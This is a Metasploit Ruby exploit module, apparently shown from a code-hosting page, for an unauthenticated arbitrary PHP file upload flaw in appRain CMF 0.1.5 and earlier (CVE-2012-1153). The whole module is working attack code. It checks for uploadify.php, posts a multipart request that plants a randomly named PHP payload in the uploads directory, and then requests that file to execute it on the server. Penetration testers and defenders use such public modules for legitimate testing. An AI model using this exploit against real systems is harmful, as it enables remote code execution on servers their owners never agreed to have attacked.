117 lines
3.4 KiB
Ruby
117 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in appRain's Content Management
|
|
Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a
|
|
malicious user can upload a file to the uploads/ directory without any
|
|
authentication, which results in arbitrary code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'EgiX', #Discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2012-1153'],
|
|
['OSVDB', '78473'],
|
|
['EDB', '18392'],
|
|
['BID', '51576']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['appRain 0.1.5 or less', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jan 19 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
uri = target_uri.path
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php')
|
|
})
|
|
|
|
if res and res.code == 200 and res.body.empty?
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
uri = target_uri.path
|
|
|
|
peer = "#{rhost}:#{rport}"
|
|
payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
|
|
|
|
post_data = "--o0oOo0o\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
|
|
post_data << "<?php "
|
|
post_data << payload.encoded
|
|
post_data << " ?>\r\n"
|
|
post_data << "--o0oOo0o\r\n"
|
|
|
|
print_status("#{peer} - Sending PHP payload (#{payload_name})")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"),
|
|
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
|
|
'data' => post_data
|
|
})
|
|
|
|
# If the server returns 200 and the body contains our payload name,
|
|
# we assume we uploaded the malicious file successfully
|
|
if not res or res.code != 200 or res.body !~ /#{payload_name}/
|
|
print_error("#{peer} - File wasn't uploaded, aborting!")
|
|
return
|
|
end
|
|
|
|
print_status("#{peer} - Executing PHP payload (#{payload_name})")
|
|
# Execute our payload
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}")
|
|
})
|
|
|
|
# If we don't get a 200 when we request our malicious payload, we suspect
|
|
# we don't have a shell, either. Print the status code for debugging purposes.
|
|
if res and res.code != 200
|
|
print_status("#{peer} - Server returned #{res.code.to_s}")
|
|
end
|
|
end
|
|
end
|